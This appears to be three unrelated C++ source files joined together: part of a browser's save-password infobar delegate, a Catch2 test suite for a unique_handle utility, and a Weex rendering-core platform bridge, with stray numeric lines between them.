uma_histogram_suffix_, infobar_response_, password_manager::metrics_util::NUM_RESPONSE_TYPES); password_manager::metrics_util::LogUMAHistogramBoolean( "PasswordManager.SavePasswordPromptDisappearedQuickly_" + uma_histogram_suffix_, timer_.Elapsed() < kMinimumPromptDisplayTime); } if (should_show_first_run_experience_) { Profile* profile = Profile::FromBrowserContext(web_contents_->GetBrowserContext()); password_bubble_experiment::RecordSavePromptFirstRunExperienceWasShown( profile->GetPrefs()); } } SavePasswordInfoBarDelegate::SavePasswordInfoBarDelegate( content::WebContents* web_contents, scoped_ptr<password_manager::PasswordFormManager> form_to_save, const std::string& uma_histogram_suffix, bool is_smartlock_branding_enabled, bool should_show_first_run_experience) : PasswordManagerInfoBarDelegate(), form_to_save_(std::move(form_to_save)), infobar_response_(password_manager::metrics_util::NO_RESPONSE), uma_histogram_suffix_(uma_histogram_suffix), should_show_first_run_experience_(should_show_first_run_experience), web_contents_(web_contents) { if (!uma_histogram_suffix_.empty()) { password_manager::metrics_util::LogUMAHistogramBoolean( "PasswordManager.SavePasswordPromptDisplayed_" + uma_histogram_suffix_, true); } base::string16 message; gfx::Range message_link_range = gfx::Range(); PasswordTittleType type = form_to_save_->pending_credentials().federation_url.is_empty() ? PasswordTittleType::SAVE_PASSWORD : PasswordTittleType::UPDATE_PASSWORD; GetSavePasswordDialogTitleTextAndLinkRange( web_contents->GetVisibleURL(), form_to_save_->observed_form().origin, is_smartlock_branding_enabled, type, &message, &message_link_range); SetMessage(message); SetMessageLinkRange(message_link_range); } base::string16 SavePasswordInfoBarDelegate::GetFirstRunExperienceMessage() { return should_show_first_run_experience_ ? l10n_util::GetStringUTF16( IDS_PASSWORD_MANAGER_SAVE_PROMPT_FIRST_RUN_EXPERIENCE) : base::string16(); } infobars::InfoBarDelegate::InfoBarIdentifier SavePasswordInfoBarDelegate::GetIdentifier() const { return SAVE_PASSWORD_INFOBAR_DELEGATE; } void SavePasswordInfoBarDelegate::InfoBarDismissed() { DCHECK(form_to_save_.get()); infobar_response_ = password_manager::metrics_util::INFOBAR_DISMISSED; } base::string16 SavePasswordInfoBarDelegate::GetButtonLabel( InfoBarButton button) const { return l10n_util::GetStringUTF16((button == BUTTON_OK) ? IDS_PASSWORD_MANAGER_SAVE_BUTTON : IDS_PASSWORD_MANAGER_BLACKLIST_BUTTON); } bool SavePasswordInfoBarDelegate::Accept() { DCHECK(form_to_save_.get()); form_to_save_->Save(); infobar_response_ = password_manager::metrics_util::REMEMBER_PASSWORD; return true; } bool SavePasswordInfoBarDelegate::Cancel() { DCHECK(form_to_save_.get()); form_to_save_->PermanentlyBlacklist(); infobar_response_ = password_manager::metrics_util::NEVER_REMEMBER_PASSWORD; return true; }
6,031
1,949
// Copyright Dominic Koepke 2019 - 2022. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // https://www.boost.org/LICENSE_1_0.txt) #include <catch2/catch.hpp> #include "helper.hpp" #include "Simple-Utility/unique_handle.hpp" using namespace sl; namespace { struct value_t { int a{}; int z{}; constexpr value_t(int a) : a{ a } { } constexpr value_t(int a, int z) : a{ a }, z{ z } { } constexpr value_t(value_t&&) noexcept = default; constexpr value_t& operator =(value_t&&) noexcept = default; constexpr auto operator <=>(const value_t&) const = default; }; struct delete_action_mock { int* invoke_counter{}; constexpr void operator ()(auto&) noexcept { if (invoke_counter) ++(*invoke_counter); } }; using test_handle = unique_handle<int, delete_action_mock>; } TEST_CASE("unique_handle should be default constructible.", "[unique_handle]") { STATIC_REQUIRE(std::default_initializable<test_handle>); } TEST_CASE("unique_handle should neither be copy constructible nor assignable.", "[unique_handle]") { STATIC_REQUIRE(!std::copy_constructible<test_handle>); STATIC_REQUIRE(!std::assignable_from<test_handle&, const test_handle&>); } TEST_CASE("default constructed unique_handle should not contain a value.", "[unique_handle]") { constexpr test_handle handle{}; STATIC_REQUIRE(!handle.is_valid()); STATIC_REQUIRE(!handle); } TEST_CASE("unique_handle should be explicitly null constructible by nullhandle.", "[unique_handle]") { constexpr test_handle handle{ nullhandle }; STATIC_REQUIRE(!handle.is_valid()); STATIC_REQUIRE(!handle); } TEST_CASE("unique_handle should be empty constructible by nullhandle and deleteAction.", "[unique_handle]") { constexpr bool result = [] { int testValue = 1337; const test_handle handle{ nullhandle, delete_action_mock{ &testValue } }; return !handle && *handle.delete_action().invoke_counter == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle should be assignable by nullhandle.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const test_handle handle = [] { // ReSharper disable once CppInitializedValueIsAlwaysRewritten test_handle temp{}; temp = nullhandle; return temp; }(); REQUIRE(!handle.is_valid()); REQUIRE(!handle); } TEST_CASE("unique_handle should be empty constructible by deleteAction.", "[unique_handle]") { constexpr bool result = [] { int testValue = 1337; const test_handle handle{ delete_action_mock{ &testValue } }; return !handle && *handle.delete_action().invoke_counter == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle should be constructible by value.", "[unique_handle]") { constexpr test_handle handle{ 42 }; STATIC_REQUIRE(handle.is_valid()); STATIC_REQUIRE(handle); } TEST_CASE("unique_handle should be constructible by value and deleteAction.", "[unique_handle]") { constexpr bool result = [] { int testValue = 1337; const test_handle handle{ 42, delete_action_mock{ &testValue } }; return *handle == 42 && *handle.delete_action().invoke_counter == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle should be assignable by value.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const test_handle handle = [] { // ReSharper disable once CppInitializedValueIsAlwaysRewritten test_handle temp{}; temp = 42; return temp; }(); REQUIRE(handle.is_valid()); REQUIRE(handle); } TEST_CASE ( "unique_handle should automatically deduct its template arguments when constructed by value and deleteAction.", "[unique_handle]" ) { constexpr unique_handle handle{ 42, delete_action_mock{} }; STATIC_REQUIRE(std::same_as<int, decltype(handle)::value_type>); STATIC_REQUIRE(std::same_as<delete_action_mock, decltype(handle)::delete_action_type>); } TEST_CASE("unique_handle should automatically deduct its template arguments when constructed by value.", "[unique_handle]") { constexpr unique_handle handle{ 42 }; STATIC_REQUIRE(std::same_as<decltype(handle)::value_type, int>); STATIC_REQUIRE(std::same_as<decltype(handle)::delete_action_type, default_delete_action>); } TEST_CASE("unique_handle should be explicitly in-place construct value when std::in_place token is used.", "[unique_handle]") { constexpr unique_handle<value_t> handle{ std::in_place, 42, 1337 }; STATIC_REQUIRE(handle->a == 42); STATIC_REQUIRE(handle->z == 1337); } TEST_CASE ( "unique_handle should be explicitly in-place construct value and deleteAction when std::in_place token is used.", "[unique_handle]" ) { constexpr bool result = [] { int testValue = 1337; const unique_handle<value_t, delete_action_mock> handle{ std::in_place, delete_action_mock{ &testValue }, 42, -1 }; return handle->a == 42 && handle->z == -1 && *handle.delete_action().invoke_counter == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle::emplace constructs value in place.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { unique_handle<value_t> handle{}; handle.emplace(1337, 42); return handle->a == 1337 && handle->z == 42; }(); REQUIRE(result); } #pragma warning(disable: 26444) TEMPLATE_TEST_CASE_SIG ( "delete action on assignment must only be invoked if unique_handle holds a value.", "[unique_handle]", ((class TInit, class TAssign, bool VExpected), TInit, TAssign, VExpected), (int, int, true), (int, nullhandle_t, true), (nullhandle_t, int, false), (nullhandle_t, nullhandle_t, false) ) #pragma warning(disable: 26444) { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { int counter{}; test_handle temp{ TInit{}, delete_action_mock{ .invoke_counter = &counter } }; temp = TAssign{}; return counter == 1; }(); REQUIRE(result == VExpected); } TEST_CASE("unique_handle should be move constructible and invalidate the source.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle source{ 42 }; const test_handle target{ std::move(source) }; return !source.is_valid() && target.is_valid(); }(); REQUIRE(result); } TEST_CASE("unique_handle should be move constructible and receive the value of other.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { // ReSharper disable once CppInitializedValueIsAlwaysRewritten test_handle source{ 42 }; const test_handle target{ std::move(source) }; return target.raw() == 42; }(); REQUIRE(result); } TEST_CASE("unique_handle should be move assignable and invalidate the source.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle source{ 42 }; // ReSharper disable once CppInitializedValueIsAlwaysRewritten test_handle target{ nullhandle }; target = std::move(source); return !source.is_valid() && target.is_valid(); }(); REQUIRE(result); } TEST_CASE("unique_handle should be move assignable and receive the value of other.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle source{ 1337 }; // ReSharper disable once CppInitializedValueIsAlwaysRewritten test_handle target{ nullhandle }; target = std::move(source); return target.raw() == 1337; }(); REQUIRE(result); } TEST_CASE("moving unique_handle with itself should change nothing.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle handle{ 1337 }; handle = std::move(handle); return handle.is_valid() && *handle == 1337; }(); REQUIRE(result); } TEST_CASE("swapping unique_handle with itself should change nothing.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle handle{ 1337 }; handle.swap(handle); return handle.is_valid() && *handle == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle should be swapable.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { test_handle lhs{ 1337 }; test_handle rhs{ 42 }; lhs.swap(rhs); return *lhs == 42 && *rhs == 1337; }(); REQUIRE(result); } TEST_CASE("unique_handle::raw should expose a const reference of its value.", "[unique_handle]") { constexpr bool result = [] { const test_handle handle{ 1337 }; const int& ref{ handle.raw() }; return ref == 1337; }(); STATIC_REQUIRE(result); } TEST_CASE("unique_handle::raw should throw bad_handle_access if no value is hold.", "[unique_handle]") { constexpr test_handle handle{}; REQUIRE_THROWS_AS(handle.raw(), bad_handle_access); } TEST_CASE("unique_handle's operator * should expose a const reference of its value.", "[unique_handle]") { constexpr bool result = [] { const test_handle handle{ 42 }; const int& ref{ *handle }; return ref == 42; }(); REQUIRE(result); } TEMPLATE_TEST_CASE ( "unique_handle's operator -> overload should expose a pointer to its value.", "[unique_handle]", test_handle, const test_handle ) { constexpr bool result = [] { TestType handle{ 1337 }; auto* ptr = handle.operator ->(); return *ptr == 1337; }(); STATIC_REQUIRE(result); } TEST_CASE("unique_handle::reset should reset to a nullhandle.", "[unique_handle]") { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const test_handle handle = [] { test_handle temp{ 42 }; temp.reset(); return temp; }(); REQUIRE(!handle); } TEST_CASE("resetting a handle without value should do nothing.", "[unique_handle]") { REQUIRE_NOTHROW ( [] { test_handle temp{ nullhandle }; temp.reset(); }() ); } #pragma warning(disable: 26444) TEMPLATE_TEST_CASE_SIG ( "delete action on reset must only be invoked if unique_handle holds a value.", "[unique_handle]", ((class TInit, bool VExpected), TInit, VExpected), (int, true), (nullhandle_t, false) ) #pragma warning(disable: 26444) { SL_UNIQUE_HANDLE_FULL_CONSTEXPR const bool result = [] { int counter{}; test_handle temp{ TInit{}, delete_action_mock{ .invoke_counter = &counter } }; temp.reset(); return counter == 1; }(); REQUIRE(result == VExpected); } TEST_CASE("unique_handle::delete_action should return a reference to the used deleter action object.", "[unique_handle]") { constexpr bool result = [] { test_handle temp{ 42 }; return &temp.delete_action() == &std::as_const(temp).delete_action(); }(); STATIC_REQUIRE(result); } #pragma warning(disable: 26444) TEMPLATE_TEST_CASE_SIG ( "delete action on destruction must only be invoked if unique_handle holds a value.", "[unique_handle]", ((class TInit, bool VExpected), TInit, VExpected), (int, true), (nullhandle_t, false) ) #pragma warning(disable: 26444) { constexpr bool result = [] { int counter{}; { const test_handle temp{ TInit{}, delete_action_mock{ .invoke_counter = &counter } }; } return counter == 1; }(); REQUIRE(result == VExpected); } TEST_CASE("unique_handle should be three-way-comparable with unqiue_handle of same type.", "[unique_handle]") { STATIC_REQUIRE((test_handle{} <=> test_handle{}) == std::strong_ordering::equal); STATIC_REQUIRE((test_handle{} <=> test_handle{ 42 }) == std::strong_ordering::less); STATIC_REQUIRE((test_handle{42 } <=> test_handle{}) == std::strong_ordering::greater); STATIC_REQUIRE((test_handle{42 } <=> test_handle{1337}) == std::strong_ordering::less); } TEST_CASE("unique_handle should be three-way-comparable with nullhandle.", "[unique_handle]") { STATIC_REQUIRE((nullhandle <=> test_handle{ 42 }) == std::strong_ordering::less); STATIC_REQUIRE((nullhandle <=> test_handle{}) == std::strong_ordering::equal); STATIC_REQUIRE((test_handle{ 42 } <=> nullhandle) == std::strong_ordering::greater); STATIC_REQUIRE((test_handle{} <=> nullhandle) == std::strong_ordering::equal); } TEST_CASE("unique_handle should be three-way-comparable with value type.", "[unique_handle]") { STATIC_REQUIRE((42 <=> test_handle{ 1337 }) == std::strong_ordering::less); STATIC_REQUIRE((1337 <=> test_handle{ 42 }) == std::strong_ordering::greater); STATIC_REQUIRE((test_handle{ 1337 } <=> 42 ) == std::strong_ordering::greater); STATIC_REQUIRE((test_handle{ 42 } <=> 1337) == std::strong_ordering::less); STATIC_REQUIRE((1337 <=> test_handle{}) == std::strong_ordering::greater); STATIC_REQUIRE((test_handle{} <=> 1337) == std::strong_ordering::less); STATIC_REQUIRE((42 <=> test_handle{ 42 }) == std::strong_ordering::equal); STATIC_REQUIRE((test_handle{ 42 } <=> 42) == std::strong_ordering::equal); } TEST_CASE("unique_handle should be equality-comparable with specific types.", "[unique_handle]") { STATIC_REQUIRE(1337 != test_handle{}); STATIC_REQUIRE(1337 == test_handle{ 1337 }); STATIC_REQUIRE(test_handle{ 1337 } != test_handle{}); STATIC_REQUIRE(test_handle{ 1337 } != test_handle{ 42 }); STATIC_REQUIRE(test_handle{ 1337 } == test_handle{ 1337 }); STATIC_REQUIRE(nullhandle == test_handle{}); STATIC_REQUIRE(nullhandle != test_handle{ 42 }); }
12,938
5,016
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #include "core/bridge/platform/core_side_in_platform.h" #include "core/common/view_utils.h" #include "base/string_util.h" #include "base/log_defines.h" #include "core/config/core_environment.h" #include "core/manager/weex_core_manager.h" #include "core/render/manager/render_manager.h" #include "core/render/node/factory/render_creator.h" #include "core/render/node/factory/render_type.h" #include "core/render/node/render_list.h" #include "core/render/node/render_object.h" #include "core/render/page/render_page.h" #include "core/json/JsonRenderManager.h" #include "core/bridge/eagle_bridge.h" #include "third_party/json11/json11.hpp" #include "core/moniter/render_performance.h" #include "core_side_in_platform.h" #ifdef OS_ANDROID #include <android/utils/params_utils.h> #include <wson/wson.h> #endif namespace WeexCore { CoreSideInPlatform::CoreSideInPlatform() {} CoreSideInPlatform::~CoreSideInPlatform() {} void CoreSideInPlatform::SetDefaultHeightAndWidthIntoRootDom( const std::string &instance_id, float default_width, float default_height, bool is_width_wrap_content, bool is_height_wrap_content) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; page->SetDefaultHeightAndWidthIntoRootRender(default_width, default_height, is_width_wrap_content, is_height_wrap_content); } void CoreSideInPlatform::OnInstanceClose(const std::string &instance_id) { RenderManager::GetInstance()->ClosePage(instance_id); } void CoreSideInPlatform::SetStyleWidth(const std::string &instance_id, const std::string &render_ref, float width) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; render->setStyleWidthLevel(CSS_STYLE); render->setStyleWidth(width, true); static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::SetStyleHeight(const std::string &instance_id, const std::string &render_ref, float height) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; render->setStyleHeightLevel(CSS_STYLE); render->setStyleHeight(height); static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::SetMargin(const std::string &instance_id, const std::string &render_ref, int edge, float value) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; if (edge == 0) { render->setMargin(kMarginTop, value); } else if (edge == 1) { render->setMargin(kMarginBottom, value); } else if (edge == 2) { render->setMargin(kMarginLeft, value); } else if (edge == 3) { render->setMargin(kMarginRight, value); } else if (edge == 4) { render->setMargin(kMarginALL, value); } static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::SetPadding(const std::string &instance_id, const std::string &render_ref, int edge, float value) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; if (edge == 0) { render->setPadding(kPaddingTop, value); } else if (edge == 1) { render->setPadding(kPaddingBottom, value); } else if (edge == 2) { render->setPadding(kPaddingLeft, value); } else if (edge == 3) { render->setPadding(kPaddingRight, value); } else if (edge == 4) { render->setPadding(kPaddingALL, value); } static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::SetPosition(const std::string &instance_id, const std::string &render_ref, int edge, float value) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; if (edge == 0) { render->setStylePosition(kPositionEdgeTop, value); } else if (edge == 1) { render->setStylePosition(kPositionEdgeBottom, value); } else if (edge == 2) { render->setStylePosition(kPositionEdgeLeft, value); } else if (edge == 3) { render->setStylePosition(kPositionEdgeRight, value); } static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::MarkDirty(const std::string &instance_id, const std::string &render_ref) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; RenderObject *render = static_cast<RenderPage*>(page)->GetRenderObject(render_ref); if (render == nullptr) return; render->markDirty(); } void CoreSideInPlatform::SetViewPortWidth(const std::string &instance_id, float width) { RenderManager::GetInstance()->set_viewport_width(instance_id, width); } void CoreSideInPlatform::SetDeviceDisplayOfPage(const std::string &instance_id, float width, float height /* unused now */) { RenderManager::GetInstance()->setDeviceWidth(instance_id, width); } void CoreSideInPlatform::SetPageRenderType(const std::string &pageId, const std::string &renderType) { RenderManager::GetInstance()->setPageArgument(pageId, "renderType", renderType); } void CoreSideInPlatform::RemovePageRenderType(const std::string &pageId) { // void } void CoreSideInPlatform::SetPageArgument(const std::string &pageId, const std::string& key, const std::string& value){ RenderManager::GetInstance()->setPageArgument(pageId, key, value); } void CoreSideInPlatform::SetDeviceDisplay(const std::string &instance_id, float width, float height, float scale) { RenderManager::GetInstance()->setDeviceWidth(instance_id, width); /** * also update global device with height and options * */ WXCoreEnvironment::getInstance()->SetDeviceWidth(std::to_string(width)); WXCoreEnvironment::getInstance()->SetDeviceHeight(std::to_string(height)); WXCoreEnvironment::getInstance()->PutOption(SCALE, std::to_string(scale)); } void CoreSideInPlatform::SetPageDirty(const std::string &instance_id) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(std::string(instance_id)); if (page == nullptr) return; if (!page->is_platform_page()) return; static_cast<RenderPage*>(page)->set_is_dirty(true); } void CoreSideInPlatform::ForceLayout(const std::string &instance_id) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page != nullptr) { if (!page->is_platform_page()) return; static_cast<RenderPage*>(page)->LayoutImmediately(); static_cast<RenderPage*>(page)->has_fore_layout_action_.store(false); } } bool CoreSideInPlatform::NotifyLayout(const std::string &instance_id) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page != nullptr) { if (!page->is_platform_page()) return false; if (!static_cast<RenderPage*>(page)->need_layout_.load()) { static_cast<RenderPage*>(page)->need_layout_.store(true); } bool ret = !static_cast<RenderPage*>(page)->has_fore_layout_action_.load() && static_cast<RenderPage*>(page)->is_dirty(); if (ret) { static_cast<RenderPage*>(page)->has_fore_layout_action_.store(true); } return ret ? true : false; } return false; } bool CoreSideInPlatform::RelayoutUsingRawCssStyles(const std::string& instance_id) { return RenderManager::GetInstance()->ReloadPageLayout(instance_id); } std::vector<int64_t> CoreSideInPlatform::GetFirstScreenRenderTime( const std::string &instance_id) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) { return std::vector<int64_t>(); } else { return page->PrintFirstScreenLog(); } } std::vector<int64_t> CoreSideInPlatform::GetRenderFinishTime( const std::string &instance_id) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) { return std::vector<int64_t>(); } else { return page->PrintRenderSuccessLog(); } } void CoreSideInPlatform::SetRenderContainerWrapContent( const std::string &instance_id, bool wrap) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) return; if (!page->is_platform_page()) return; static_cast<RenderPage*>(page)->set_is_render_container_width_wrap_content(wrap); } void CoreSideInPlatform::BindMeasurementToRenderObject(long ptr) { RenderObject *render = convert_long_to_render_object(ptr); if (render && measure_function_adapter_exist_) { render->BindMeasureFunc(); } } void CoreSideInPlatform::RegisterCoreEnv(const std::string &key, const std::string &value) { WXCoreEnvironment::getInstance()->AddOption(key, value); } long CoreSideInPlatform::GetRenderObject(const std::string &instance_id, const std::string &render_ref) { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instance_id); if (page == nullptr) { return 0; } return convert_render_object_to_long(page->GetRenderObject(render_ref)); } void CoreSideInPlatform::UpdateRenderObjectStyle(long render_ptr, const std::string &key, const std::string &value) { RenderObject *render = convert_long_to_render_object(render_ptr); render->UpdateStyle(key, value); } void CoreSideInPlatform::UpdateRenderObjectAttr(long render_ptr, const std::string &key, const std::string &value) { RenderObject *render = convert_long_to_render_object(render_ptr); render->UpdateAttr(key, value); render->markDirty(true); } long CoreSideInPlatform::CopyRenderObject(long render_ptr) { RenderObject *render = convert_long_to_render_object(render_ptr); RenderObject *copy = static_cast<RenderObject *>(RenderCreator::GetInstance()->CreateRender( render->type(), render->ref())); copy->CopyFrom(render); if (render->type() == WeexCore::kRenderCellSlot || render->type() == WeexCore::kRenderCell) { RenderList *renderList = static_cast<RenderList *>(render->getParent()); if (renderList != nullptr) { renderList->AddCellSlotCopyTrack(copy); } else { LOGE("CopyRenderObject: %s", "copy error parent null"); } } return convert_render_object_to_long(copy); } void CoreSideInPlatform::SetMeasureFunctionAdapter() { measure_function_adapter_exist_ = true; } void CoreSideInPlatform::SetPlatform(const std::string &platformName) { WXCoreEnvironment::getInstance()->SetPlatform(platformName); } void CoreSideInPlatform::SetDeviceWidthAndHeight(float width, float height) { WXCoreEnvironment::getInstance()->set_device_width(width); WXCoreEnvironment::getInstance()->set_device_height(height); } void CoreSideInPlatform::AddOption(const std::string &key, const std::string &value) { WXCoreEnvironment::getInstance()->AddOption(key, value); } int CoreSideInPlatform::RefreshInstance( const char *instanceId, const char *nameSpace, const char *func, std::vector<VALUE_WITH_TYPE *> &params) { #ifdef OS_ANDROID if(params.size() < 2) return false; if(params[1]->value.string->length <= 0) return false; std::string init_data = weex::base::to_utf8(params[1]->value.string->content, params[1]->value.string->length); EagleModeReturn mode = EagleBridge::GetInstance()->RefreshPage(instanceId, init_data.c_str()); if (mode == EagleModeReturn::EAGLE_ONLY){ return true; } else { //mode == EagleModeReturn::EAGLE_AND_SCRIPT || mode == EagleModeReturn::NOT_EAGLE //continue; } return ExecJS(instanceId, nameSpace, func, params); #else return 0; #endif } int CoreSideInPlatform::InitFramework( const char *script, std::vector<INIT_FRAMEWORK_PARAMS *> &params) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->InitFramework(script, params); } int CoreSideInPlatform::InitAppFramework( const char *instanceId, const char *appFramework, std::vector<INIT_FRAMEWORK_PARAMS *> &params) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->InitAppFramework(instanceId, appFramework, params); } int CoreSideInPlatform::CreateAppContext(const char *instanceId, const char *jsBundle) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->CreateAppContext(instanceId, jsBundle); } std::unique_ptr<WeexJSResult> CoreSideInPlatform::ExecJSOnAppWithResult(const char *instanceId, const char *jsBundle) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecJSOnAppWithResult(instanceId, jsBundle); } int CoreSideInPlatform::CallJSOnAppContext( const char *instanceId, const char *func, std::vector<VALUE_WITH_TYPE *> &params) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->CallJSOnAppContext(instanceId, func, params); } int CoreSideInPlatform::DestroyAppContext(const char *instanceId) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->DestroyAppContext(instanceId); } int CoreSideInPlatform::ExecJsService(const char *source) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecJsService(source); } int CoreSideInPlatform::ExecTimeCallback(const char *source) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecTimeCallback(source); } int CoreSideInPlatform::ExecJS(const char *instanceId, const char *nameSpace, const char *func, std::vector<VALUE_WITH_TYPE *> &params) { return WeexCoreManager::Instance()->script_bridge()->script_side()->ExecJS( instanceId, nameSpace, func, params); } std::unique_ptr<WeexJSResult> CoreSideInPlatform::ExecJSWithResult( const char *instanceId, const char *nameSpace, const char *func, std::vector<VALUE_WITH_TYPE *> &params) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecJSWithResult(instanceId, nameSpace, func, params); } void CoreSideInPlatform::ExecJSWithCallback( const char *instanceId, const char *nameSpace, const char *func, std::vector<VALUE_WITH_TYPE *> &params, long callback_id) { WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecJSWithCallback(instanceId, nameSpace, func, params, callback_id); } int CoreSideInPlatform::CreateInstance(const char *instanceId, const char *func, const char *script, int script_length, const char *opts, const char *initData, const char *extendsApi, std::vector<INIT_FRAMEWORK_PARAMS*>& params, const char *render_strategy) { if (render_strategy != nullptr) { if(strcmp(render_strategy, "JSON_RENDER") == 0){ JsonRenderManager::GetInstance()->CreatePage(script, instanceId, render_strategy); return true; } EagleBridge::GetInstance()->CreatePage(render_strategy, instanceId, func, script, script_length, opts, initData ,extendsApi, 0); return true; } return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->CreateInstance(instanceId, func, script, opts, initData, extendsApi, params); } std::unique_ptr<WeexJSResult> CoreSideInPlatform::ExecJSOnInstance(const char *instanceId, const char *script, int type) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->ExecJSOnInstance(instanceId, script,type); } int CoreSideInPlatform::DestroyInstance(const char *instanceId) { if (JsonRenderManager::GetInstance()->ClosePage(instanceId)) { return true; } EagleModeReturn mode = EagleBridge::GetInstance()->DestroyPage(instanceId); if (mode == EagleModeReturn::EAGLE_ONLY){ return true; } else { //mode == EagleModeReturn::EAGLE_AND_SCRIPT || mode == EagleModeReturn::NOT_EAGLE //continue; } auto script_side = WeexCoreManager::Instance()->script_bridge()->script_side(); if (script_side) { return script_side->DestroyInstance(instanceId); } return true; } int CoreSideInPlatform::UpdateGlobalConfig(const char *config) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->UpdateGlobalConfig(config); } int CoreSideInPlatform::UpdateInitFrameworkParams(const std::string &key, const std::string &value, const std::string &desc) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->UpdateInitFrameworkParams(key, value, desc); } void CoreSideInPlatform::SetLogType(const int logType, const bool isPerf) { WeexCoreManager::Instance() ->script_bridge() ->script_side() ->SetLogType(logType,isPerf); } double CoreSideInPlatform::GetLayoutTime(const char* instanceId) const { RenderPageBase *page = RenderManager::GetInstance()->GetPage(instanceId); if (page == nullptr) return 0; if (!page->is_platform_page()) return 0; return page->getPerformance()->cssLayoutTime; } int64_t CoreSideInPlatform::JsAction(long ctxContainer, int32_t jsActionType, const char *arg) { return WeexCoreManager::Instance() ->script_bridge() ->script_side() ->JsAction(ctxContainer, jsActionType, arg); } } // namespace WeexCore
20,060
6,005
